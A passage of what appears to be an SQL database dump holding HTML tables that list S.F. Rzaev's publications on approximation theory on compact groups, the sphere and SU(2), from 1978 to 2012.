style=\"vertical-align:top\">&nbsp;36</td><td width=\"150\" style=\"vertical-align:top\">Rhapsody on the group SU(2). materials</td><td width=\"75\" style=\"vertical-align:top\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Kh.P.Rustamov&nbsp;&nbsp;<strong>Rzaev, S.F.&nbsp;&nbsp;</strong></td><td width=\"188\" style=\"vertical-align:top\">. X1 republ.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Conference, math and mech. Baku , 1994.( In Russian)&nbsp;&nbsp;</td><td width=\"85\" style=\"vertical-align:top\">1994<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">&nbsp;&nbsp;</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;37</td><td width=\"150\" style=\"vertical-align:top\">Best approximation on the group SU(2).)&nbsp;</td><td width=\"75\" style=\"vertical-align:top\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\"><strong>Rzaev, S.F.</strong></td><td width=\"188\" style=\"vertical-align:top\">Dokl, Acad. Nauk. Azerb. SSR. 1991. ( In Russian).&nbsp;&nbsp;</td><td width=\"85\" style=\"vertical-align:top\">1991<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">&nbsp;&nbsp;vol, XLV11. No 7-12&nbsp;&nbsp;&nbsp;&nbsp; 3-6</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;38</td><td width=\"150\" style=\"vertical-align:top\">Generalization of the Weierstrass theorem on a sphere.</td><td width=\"75\" style=\"vertical-align:top\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\"><strong>Rzaev, S.F.</strong></td><td width=\"188\" style=\"vertical-align:top\">Izv.-Vyssh- Uchebn.-Zaved.-Mat. [Izvestiya-Vysshikh-Uchebnykh-Zavedenii.- Matematika]&nbsp;&nbsp;&nbsp;</td><td width=\"85\" style=\"vertical-align:top\">1985<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">&nbsp;No278-80&nbsp;</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;39</td><td width=\"150\" style=\"vertical-align:top\">Some questions of best approximation of continous functions on the unite sphere.&nbsp;</td><td width=\"75\" style=\"vertical-align:top\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\"><strong>Rzaev, S.F.</strong></td><td width=\"188\" style=\"vertical-align:top\">Manuscript 3775-85. deposited at VINITI&nbsp; ,&nbsp; 7.06.85. (Izv.-Vyssh.-Uchebn .-Zaved.-Mat.),&nbsp; (In Russian).</td><td width=\"85\" style=\"vertical-align:top\">1985<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">&nbsp;1-19&nbsp;</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;40</td><td width=\"150\" style=\"vertical-align:top\">Some linear processes of summation of Fourier series in generalized spherical functions and best approximation<strong></strong>&nbsp;</td><td width=\"75\" style=\"vertical-align:top\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\"><strong>Rzaev, S.F.</strong></td><td width=\"188\" style=\"vertical-align:top\">. [Azerbaidzhanskii-Gosudarstvennyi- Universitet-imeni-M.-Kirova.-Uchebniye-Zapiski] (inRussian)&nbsp;&nbsp;</td><td width=\"85\" style=\"vertical-align:top\">1978<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">no.313—22</td></tr></tbody></table></div>'),(987,633,'en',' Vugar Aliyev',' Vugar Aliyev','<div><br></div><div><br></div><div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"594\"><tbody><tr><td width=\"150\">#</td><td width=\"150\">Title of 0publication&nbsp;&nbsp;</td><td width=\"75\">Publications type/publication activities&nbsp;</td><td width=\"103\">All Authors&nbsp;</td><td width=\"188\">Publisher &amp; Place of&nbsp; Publication&nbsp;</td><td width=\"85\">Year Published<strong>&nbsp;</strong></td><td width=\"107\">Vol. &amp; Pages</td></tr><tr><td width=\"150\">&nbsp;1</td><td width=\"150\">43<sup>rd</sup>&nbsp;Annual Iranian Math.&nbsp; Conference.</td><td width=\"75\">ConferenceProceedings&nbsp;</td><td width=\"103\">&nbsp;<strong>Rzaev, S.F</strong></td><td width=\"188\">Tebriz (August 27-30),&nbsp;</td><td width=\"85\">2012&nbsp;</td><td width=\"107\">93</td></tr><tr><td width=\"150\">&nbsp;2</td><td width=\"150\">Приближение в пространстве&nbsp;&nbsp;</td><td width=\"75\">ConferenceProceedings&nbsp;</td><td width=\"103\">SuleymanovaS.A.</td><td width=\"188\">Baku.Functional analysis and its applications Proceedines of the International Conferense devoted to the 100-th anniversary of academician Z. I. Khalilov&nbsp;</td><td width=\"85\">2011</td><td width=\"107\">290-291</td></tr><tr><td width=\"150\">&nbsp;3</td><td width=\"150\">H. Whitney’s type theorems for compact groups</td><td width=\"75\">ConferenceProceedings&nbsp;</td><td width=\"103\">Hüseynov F.B</td><td width=\"188\">Functional analysis and its applications Proceedines of the International Conferense devoted to the 100-th anniversary of academician Z. I. Khalilov&nbsp; Baku</td><td width=\"85\">2011</td><td width=\"107\">145-147</td></tr><tr><td width=\"150\">&nbsp;4</td><td width=\"150\">Weighted Lizorkin-Tribel spaces on the unit sphere.</td><td width=\"75\">ConferenceProceedings&nbsp;</td><td width=\"103\">Hüseynov F.BHamzayev O.H.&nbsp;&nbsp;</td><td width=\"188\">Baku,Inst.math the International Conferense devoted to the 80-th anniversary of F.M.Maksudov<strong>&nbsp;</strong></td><td width=\"85\">&nbsp;&nbsp;&nbsp; 2010</td><td width=\"107\">&nbsp;&nbsp;144-146</td></tr><tr><td width=\"150\">&nbsp;5</td><td width=\"150\">&nbsp;Weighted Besov-Nikolskiy spaces on the unit sphere.</td><td width=\"75\">ConferenceProceedings&nbsp;</td><td width=\"103\">&nbsp;AdigozelovA.D.Xalilov I. M.&nbsp;</td><td width=\"188\">Baku,Inst.math.the International Conferense devoted to the 80-th anniversary of F.M.Maksudov</td><td width=\"85\">&nbsp;&nbsp;&nbsp;2010&nbsp;&nbsp;&nbsp;</td><td width=\"107\">&nbsp;&nbsp;75-77&nbsp;&nbsp;</td></tr><tr><td width=\"150\">&nbsp;6</td><td width=\"150\">On characterizationoffractional powers of The Dunkl operator on the sphere with the help of fractionalfinite differences</td><td width=\"75\">&nbsp;&nbsp;ConferenceProceedings&nbsp;&nbsp;&nbsp;&nbsp;</td><td width=\"103\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Huseynov, F.B.,</td><td width=\"188\">Baku,State unversity International Conferense devoted to the 80-th anniversary of Y.C.Mamedov&nbsp;</td><td width=\"85\">&nbsp;&nbsp;&nbsp;&nbsp;2010</td><td width=\"107\">&nbsp;&nbsp;&nbsp;&nbsp;89-90</td></tr><tr><td width=\"150\">&nbsp;7</td><td width=\"150\">Weighted imultaneaously approximation on the unit sphere.</td><td width=\"75\">ConferenceProceedings&nbsp;</td><td width=\"103\">&nbsp;Huseynov, F.B</td><td width=\"188\">Baku,Inst.math.(Riyaziyyat-Mexanika institunun 50-illik yubleyi)&nbsp;</td><td width=\"85\">&nbsp;&nbsp;2009</td><td width=\"107\">&nbsp;&nbsp;362-363</td></tr><tr><td width=\"150\">&nbsp;8</td><td width=\"150\">Generalization of Peter-Weyl approximation theorem on $L^p$..</td><td width=\"75\"><strong>A</strong>rticle</td><td width=\"103\">Vaezi, H.</td><td width=\"188\">Southeast Asian Bull. Math. 33</td><td width=\"85\">&nbsp;&nbsp;&nbsp;2009</td><td width=\"107\">&nbsp;&nbsp;&nbsp;no. 3,569--577</td></tr><tr><td width=\"150\">&nbsp;9</td><td width=\"150\">Best simultaneous approximation on the unit sphere.</td><td width=\"75\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\">Aghdassi,E.</td><td width=\"188\">Int. J. Pure Appl. Math. 47&nbsp;</td><td width=\"85\">2008<em>&nbsp;</em></td><td width=\"107\">no. 1,141--151 .&nbsp;</td></tr><tr><td width=\"150\">&nbsp;</td><td width=\"150\">&nbsp;</td><td width=\"75\"><strong>&nbsp;</strong></td><td width=\"103\">&nbsp;</td><td width=\"188\">&nbsp;</td><td width=\"85\"><em>&nbsp;</em></td><td width=\"107\">&nbsp;</td></tr><tr><td width=\"150\">&nbsp;10</td><td width=\"150\">Absolute convergence of lacunary Fourier series central functions. Int. J. Appl. Math.&nbsp;</td><td width=\"75\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\">Aghdassi,E.<strong>Rzaev, S. F</strong></td><td width=\"188\">Int. J. Pure Appl. Math. 47Absolute convergence of lacunary Fourier series central functions. Int. J. Appl. Math. 20</td><td width=\"85\">2007<em>&nbsp;</em></td><td width=\"107\">no. 6,779- 786.&nbsp;</td></tr><tr><td width=\"150\">&nbsp;11</td><td width=\"150\">Spline generalized spherical functions on the sphere.</td><td width=\"75\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\">Aghdassi,E.<strong>Rzaev, S. F.</strong></td><td width=\"188\">Int. J. Pure Appl. Math. 31&nbsp;</td><td width=\"85\">2006<em>&nbsp;</em></td><td width=\"107\">no. 1,1--8 .&nbsp;</td></tr><tr><td width=\"150\">12</td><td width=\"150\">Best approximation on the sphere S<sup>3</sup>&nbsp;.</td><td width=\"75\">ConferenceProceedings<strong>&nbsp;</strong></td><td width=\"103\">&nbsp;Sediqhi,A.<strong>Rzaev,S.F&nbsp;</strong>&nbsp;</td><td width=\"188\">4<sup>th</sup>&nbsp;&nbsp;&nbsp; Iranian Geometry and Topology seminar. Department of Mathematics of Urmiya University.(13-14 September)</td><td width=\"85\">2006<em>&nbsp;</em></td><td width=\"107\">&nbsp;23</td></tr><tr><td width=\"150\">&nbsp;13</td><td width=\"150\">Approximation theory on compact groups&nbsp;&nbsp;</td><td width=\"75\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\"><strong>Rzaev, S.F.</strong></td><td width=\"188\">St. Petersburg branch of Steklov Math. Institute&nbsp;St. Petersburg State&nbsp; University&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td width=\"85\">2005<em>&nbsp;</em></td><td width=\"107\">74-83</td></tr><tr><td width=\"150\">&nbsp;14</td><td width=\"150\">Spline Generalized Spherical functions on the sphere.&nbsp;</td><td width=\"75\">ConferenceProceedings<strong>&nbsp;</strong></td><td width=\"103\">Aghdassi E.&nbsp;<strong>, Rzaev, S.F.&nbsp;</strong></td><td width=\"188\">Baku, Inst.math .( May 11-13 )&nbsp;</td><td width=\"85\">2005<em>&nbsp;</em></td><td width=\"107\">no. 1,141--142 .&nbsp;</td></tr><tr><td width=\"150\">&nbsp;15</td><td width=\"150\">Spline on the CROSSES.&nbsp;</td><td width=\"75\">ConferenceProceedings<strong>&nbsp;</strong></td><td width=\"103\">Badrkhan Alizadeh,<strong>Rzaev,S.F.</strong></td><td width=\"188\">Baku. Inst. math. (May 11-13)</td><td width=\"85\">2005<em>&nbsp;</em></td><td width=\"107\">41-43 .&nbsp;</td></tr><tr><td width=\"150\">&nbsp;16</td><td width=\"150\">&nbsp;Direct and Inverse theoremsof approximation theory on compact groups.&nbsp;</td><td width=\"75\">ConferenceProceedings<strong>&nbsp;</strong></td><td width=\"103\">Vaezi, H.,<strong>Rzaev, S.F.</strong></td><td width=\"188\">Baku, Inst. math. (May 11-13)</td><td width=\"85\">2005.<em>&nbsp;</em></td><td width=\"107\">71-72 .&nbsp;</td></tr><tr><td width=\"150\">&nbsp;17</td><td width=\"150\">&nbsp;Spline on the group SU(2)&nbsp;</td><td width=\"75\">Research Activities</td><td width=\"103\">Aghdassi,E.<strong>Rzaev,S.F.</strong></td><td width=\"188\">Tabriz university</td><td width=\"85\">2005<em>&nbsp;</em></td><td width=\"107\">no. 1--28 .&nbsp;</td></tr><tr><td width=\"150\">&nbsp;18</td><td width=\"150\">Generalization of some theorems of approximation theory on compact groups.&nbsp;</td><td width=\"75\">ConferenceProceedings<strong>&nbsp;</strong></td><td width=\"103\">Vaezi,H.<strong>Rzaev, S. F.</strong></td><td width=\"188\">35<sup>nd</sup>&nbsp;&nbsp; Annual Iranian math. Conference. Ahvaz – Iran (January&nbsp; 26-29)</td><td width=\"85\">2005<em>&nbsp;</em></td><td width=\"107\">39</td></tr><tr><td width=\"150\">&nbsp;19</td><td width=\"150\">Exact constant for best approximation on group SU(2).&nbsp;</td><td width=\"75\">ConferenceProceedings<strong>&nbsp;</strong></td><td width=\"103\">Aghdassi,E.<strong>Rzaev, S. F.</strong></td><td width=\"188\">35<sup>th</sup>&nbsp;annual Iranian conference. Ahvaz – Iran (January 26-29).</td><td width=\"85\">2005<em>&nbsp;</em></td><td width=\"107\">&nbsp;&nbsp; 21 .&nbsp;</td></tr><tr><td width=\"150\">&nbsp;20</td><td width=\"150\">Structural and Construction characterization of functions given on compact groups..</td><td width=\"75\">ConferenceProceedings<strong>&nbsp;</strong></td><td width=\"103\">Vaezi,H<strong>Rzaev, S. F.</strong></td><td width=\"188\">Yazd university 36<sup>th</sup>&nbsp;Annual Iranian math. conference. (September 10-13)</td><td width=\"85\">2005<em>&nbsp;</em></td><td width=\"107\">142-143.&nbsp;</td></tr><tr><td width=\"150\">&nbsp;21</td><td width=\"150\">On modulus of smoothnessof functions given on compact groups.</td><td width=\"75\">Article<strong>&nbsp;</strong></td><td width=\"103\">Vaezi,H.<strong>Rzaev, S. F.</strong></td><td width=\"188\">Dynamical Syst.and Applications (July 5-10) 2004. p. 687-694</td><td width=\"85\">2004<em>&nbsp;</em></td><td width=\"107\">687-694</td></tr><tr><td width=\"150\">&nbsp;22</td><td width=\"150\">Fourier series of differentiable functions on the group SU(2).&nbsp;</td><td width=\"75\">Research Activities<strong>&nbsp;</strong></td><td width=\"103\">Aghdassi E.,<strong>Rzaev, S.F.</strong>&nbsp;</td><td width=\"188\">Tabriz University</td><td width=\"85\">2004<em>&nbsp;</em></td><td width=\"107\">1-26</td></tr><tr><td width=\"150\">&nbsp;23</td><td width=\"150\">Approximation theory on the compact symmetric space of rank one</td><td width=\"75\">Research Activities&nbsp;<strong>&nbsp;</strong></td><td width=\"103\">Badrkhan Alizadeh,<strong>Rzaev, -S-.-F.</strong></td><td width=\"188\">.Tabriz Technical (Azad University Shabestar) Institute P.O.Box: 51748-150.&nbsp;</td><td width=\"85\">2004<em>&nbsp;</em></td><td width=\"107\">1-32&nbsp;</td></tr><tr><td width=\"150\">&nbsp;24</td><td width=\"150\">Best approximation on the group SU(2).&nbsp;</td><td width=\"75\">Research Activities<strong>&nbsp;</strong></td><td width=\"103\">Aghdassi E.,<strong>Rzaev, -S-.-F.</strong>&nbsp;</td><td width=\"188\">Tabriz University</td><td width=\"85\">2003-2004&nbsp;<em>&nbsp;</em></td><td width=\"107\">1-18</td></tr><tr><td width=\"150\">&nbsp;</td><td width=\"150\">&nbsp;</td></tr><tr><td width=\"150\">&nbsp;25</td><td width=\"150\"><ul><li>Spline on the group SU(2).</li></ul>&nbsp;</td><td width=\"75\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\">Aghdassi,E.R Agdassi E.,<strong>Rzaev, S.F</strong><strong><strong>Rzaev, S.F</strong><br></strong></td><td width=\"188\">St. Petersburg, (July 3-8), 2003.</td><td width=\"85\">2003<em>&nbsp;</em></td><td width=\"107\">3.&nbsp;</td></tr><tr><td width=\"75\">&nbsp;26</td><td width=\"75\">ConferenceProceedings<strong>&nbsp;</strong></td><td width=\"103\">Agdassi E.,<strong>Rzaev, S.F.</strong></td><td width=\"188\">St. Petersburg, (July 3-8), 2003. p.3</td><td width=\"85\">2003<em>&nbsp;</em></td><td width=\"107\">3</td></tr><tr><td width=\"150\">&nbsp;27</td><td width=\"150\">K-Functional and best approximation on the crosses.</td><td width=\"75\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\">Alizadeh,-Badrkhan ;<strong>Rzaev ,S.F.</strong></td><td width=\"188\">.Int.-J.-Compact.-Numer.-Appl. [International – Journal – of –Computational – and - Numerical- Analaysis – and - Applications]&nbsp;</td><td width=\"85\">2003<em>&nbsp;</em></td><td width=\"107\">Vol-4No129-41</td></tr><tr><td width=\"150\">&nbsp;28</td><td width=\"150\">Fourier series of differentiable functions on SU(2) and SO(3)</td><td width=\"75\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\">Aghdassi E.&nbsp;<strong>, Rzaev ,S.F.</strong></td><td width=\"188\">Int.-J.- Compact.-Numer.-Appl.[International-Journal-of-Computational-and-Numerical-Analaysis-and-Applications]</td><td width=\"85\">2003<em>&nbsp;</em></td><td width=\"107\">Vol-4No,143-50&nbsp;</td></tr><tr><td width=\"150\">&nbsp;29</td><td width=\"150\">&nbsp; Some constructive theorems of approximation theory on compact groups.&nbsp;</td><td width=\"75\">Research Activities<strong>&nbsp;</strong></td><td width=\"103\">Vaezi, H.,<strong>Rzaev, S.F.</strong></td><td width=\"188\">Tabriz University&nbsp;</td><td width=\"85\">2002-2003<em>&nbsp;</em></td><td width=\"107\">1-26&nbsp;</td></tr><tr><td width=\"150\">&nbsp;30</td><td width=\"150\">Approximation of continuous functions on compact groups..&nbsp;</td><td width=\"75\">ConferenceProceedings<strong>&nbsp;</strong></td><td width=\"103\">Vaezi, H.,<strong>Rzaev, S.F.</strong></td><td width=\"188\">33<sup>th</sup>&nbsp;.Annual Iranian Math.&nbsp; Conference. Mashhad univ.</td><td width=\"85\">2002<em>&nbsp;</em></td><td width=\"107\">32</td></tr><tr><td width=\"150\">&nbsp;31</td><td width=\"150\">Harmonic analysis on compact groups and applications of Approximation theory:&nbsp;</td><td width=\"75\">Research Activities<strong>&nbsp;</strong></td><td width=\"103\">Vaezi, H.,<strong>Rzaev, S.F.</strong></td><td width=\"188\">Tabriz, Res. Inst, Fund. Sci.&nbsp;</td><td width=\"85\">2001-2002<em>&nbsp;</em></td><td width=\"107\">1-24&nbsp;</td></tr><tr><td width=\"150\">&nbsp;</td><td width=\"150\">&nbsp;</td></tr><tr><td width=\"150\">&nbsp;32</td><td width=\"150\">Jackson\'s theorem for compact groups..&nbsp;</td><td width=\"75\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\">Aghdassi,E.</td><td width=\"188\">35<sup>th</sup>&nbsp;annual Iranian conference. Ahvaz – Iran(January</td><td width=\"85\">2005<em>&nbsp;</em></td><td width=\"107\">21.&nbsp;</td></tr><tr><td width=\"75\">&nbsp;33</td><td width=\"75\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\">Vaezi, H.,<strong>Rzaev, S.F.</strong></td><td width=\"188\">&nbsp;[Approximation&nbsp; Theory-and-its-Applications.-New- Series]</td><td width=\"85\">2002<em>&nbsp;</em></td><td width=\"107\">Vol-18no. 3,79—85</td></tr><tr><td width=\"150\">&nbsp;34</td><td width=\"150\">Absolutly convergence of Fourier series from group point of view.&nbsp;</td><td width=\"75\">ConferenceProceedings<strong>&nbsp;</strong></td><td width=\"103\">Vaezi, H.,<strong>Rzaev, S.F.</strong></td><td width=\"188\">32<sup>th</sup>&nbsp;annual Iranian conference. &nbsp;Mazandaran University&nbsp;</td><td width=\"85\">2001<em>&nbsp;</em></td><td width=\"107\">68&nbsp;</td></tr><tr><td width=\"150\">&nbsp;35</td><td width=\"150\">L<sub>2</sub>- Approximation on the compact groups.</td><td width=\"75\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\"><strong>Rzaev, S.F.</strong></td><td width=\"188\"><ul><li>Materials of scientific conference. The questions on functional analysis and math. Physics. Baku, University</li></ul>&nbsp;</td><td width=\"85\">1999</td><td width=\"107\">418-419&nbsp;</td></tr><tr><td width=\"150\">&nbsp;36</td><td width=\"150\">Rhapsody on the group SU(2). materials</td><td width=\"75\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\">Kh.P.Rustamov&nbsp;&nbsp;<strong>Rzaev, S.F.&nbsp;&nbsp;</strong></td><td width=\"188\">. X1 republ.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Conference, math and mech. Baku , 1994.( In Russian)&nbsp;&nbsp;</td><td width=\"85\">1994<em>&nbsp;</em></td><td width=\"107\">&nbsp;&nbsp;</td></tr><tr><td width=\"150\">&nbsp;37</td><td width=\"150\">Best approximation on the group SU(2).)&nbsp;</td><td width=\"75\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\"><strong>Rzaev, S.F.</strong></td><td width=\"188\">Dokl, Acad. Nauk. Azerb. SSR. 1991. ( In Russian).&nbsp;&nbsp;</td><td width=\"85\">1991<em>&nbsp;</em></td><td width=\"107\">&nbsp;&nbsp;vol, XLV11. No 7-12&nbsp;&nbsp;&nbsp;&nbsp; 3-6</td></tr><tr><td width=\"150\">&nbsp;38</td><td width=\"150\">Generalization of the Weierstrass theorem on a sphere.</td><td width=\"75\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\"><strong>Rzaev, S.F.</strong></td><td width=\"188\">Izv.-Vyssh- Uchebn.-Zaved.-Mat. [Izvestiya-Vysshikh-Uchebnykh-Zavedenii.- Matematika]&nbsp;&nbsp;&nbsp;</td><td width=\"85\">1985<em>&nbsp;</em></td><td width=\"107\">&nbsp;No278-80&nbsp;</td></tr><tr><td width=\"150\">&nbsp;39</td><td width=\"150\">Some questions of best approximation of continous functions on the unite sphere.&nbsp;</td><td width=\"75\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\"><strong>Rzaev, S.F.</strong></td><td width=\"188\">Manuscript 3775-85. deposited at VINITI&nbsp; ,&nbsp; 7.06.85. (Izv.-Vyssh.-Uchebn .-Zaved.-Mat.),&nbsp; (In Russian).</td><td width=\"85\">1985<em>&nbsp;</em></td><td width=\"107\">&nbsp;1-19&nbsp;</td></tr><tr><td width=\"150\">&nbsp;40</td><td width=\"150\">Some linear processes of summation of Fourier series in generalized spherical functions and best approximation<strong></strong>&nbsp;</td><td width=\"75\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\"><strong>Rzaev, S.F.</strong></td><td width=\"188\">. [Azerbaidzhanskii-Gosudarstvennyi- Universitet-imeni-M.-Kirova.-Uchebniye-Zapiski] (inRussian)&nbsp;&nbsp;</td><td width=\"85\">1978<em>&nbsp;</em></td><td width=\"107\">no.313—22<br><br></td></tr></tbody></table>  &nbsp;</div>'),(988,634,'az','Seymur Rzayev','Seymur Rzayev','<div><br></div><div><br></div><div> <div><div style=\"font-family:arial, helvetica, sans-serif;background:undefined \"><br></div><div style=\"font-family:arial, helvetica, sans-serif;background:undefined \"><br></div><div style=\"font-family:arial, helvetica, sans-serif;background:undefined \"><br></div><div style=\"background:undefined \"><table cellspacing=\"0\" cellpadding=\"0\" width=\"594\" style=\"font-family:arial, helvetica, sans-serif\"><tbody><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">#</p></td><td width=\"150\"><p style=\"background:undefined \">Title of 0publication&nbsp;</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"75\"><p style=\"background:undefined \">Publications type/publication activities</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"103\"><p style=\"background:undefined \">All Authors&nbsp;</p></td><td width=\"188\"><p style=\"background:undefined \">Publisher &amp; Place of&nbsp; Publication&nbsp;</p></td><td width=\"85\"><p style=\"background:undefined \">Year Published<strong>&nbsp;</strong></p></td><td width=\"107\"><p style=\"background:undefined \">Vol. &amp; Pages</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">1</p></td><td width=\"150\"><p style=\"background:undefined \">43<sup>rd</sup>&nbsp;Annual Iranian Math.&nbsp; Conference.</p></td><td width=\"75\"><p style=\"background:undefined \">Conference</p><p style=\"background:undefined \">Proceedings</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"103\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>Rzaev, S.F</strong></p></td><td width=\"188\"><p style=\"background:undefined \">Tebriz (August 27-30),</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"85\"><p style=\"background:undefined \">2012</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"107\"><p style=\"background:undefined \">93</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">2</p></td><td width=\"150\"><p style=\"background:undefined \">Приближение в пространстве</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"75\"><p style=\"background:undefined \">Conference</p><p style=\"background:undefined \">Proceedings</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"103\"><p style=\"background:undefined \">Suleymanova</p><p style=\"background:undefined \">S.A.</p></td><td width=\"188\"><p style=\"background:undefined \">Baku.Functional analysis and its applications Proceedines of the International Conferense devoted to the 100-th anniversary of academician Z. I. Khalilov&nbsp;</p></td><td width=\"85\"><p style=\"background:undefined \">2011</p></td><td width=\"107\"><p style=\"background:undefined \">290-291</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">3</p></td><td width=\"150\"><p style=\"background:undefined \">H. Whitney’s type theorems for compact groups</p></td><td width=\"75\"><p style=\"background:undefined \">Conference</p><p style=\"background:undefined \">Proceedings</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"103\"><p style=\"background:undefined \">Hüseynov F.B</p></td><td width=\"188\"><p style=\"background:undefined \">Functional analysis and its applications Proceedines of the International Conferense devoted to the 100-th anniversary of academician Z. I. Khalilov&nbsp; Baku</p></td><td width=\"85\"><p style=\"background:undefined \">2011</p></td><td width=\"107\"><p style=\"background:undefined \">145-147</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">4</p></td><td width=\"150\"><p style=\"background:undefined \">Weighted Lizorkin-Tribel spaces on the unit sphere.</p></td><td width=\"75\"><p style=\"background:undefined \">Conference</p><p style=\"background:undefined \">Proceedings</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"103\"><p style=\"background:undefined \">Hüseynov F.B</p><p style=\"background:undefined \">Hamzayev O.H.</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"188\"><p style=\"background:undefined \">Baku,Inst.math the International Conferense devoted to the 80-th anniversary of F.M.Maksudov<strong>&nbsp;</strong></p></td><td width=\"85\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;&nbsp; 2010</p></td><td width=\"107\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">144-146</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">5</p></td><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Weighted Besov-Nikolskiy spaces on the unit sphere.</p></td><td width=\"75\"><p style=\"background:undefined \">Conference</p><p style=\"background:undefined 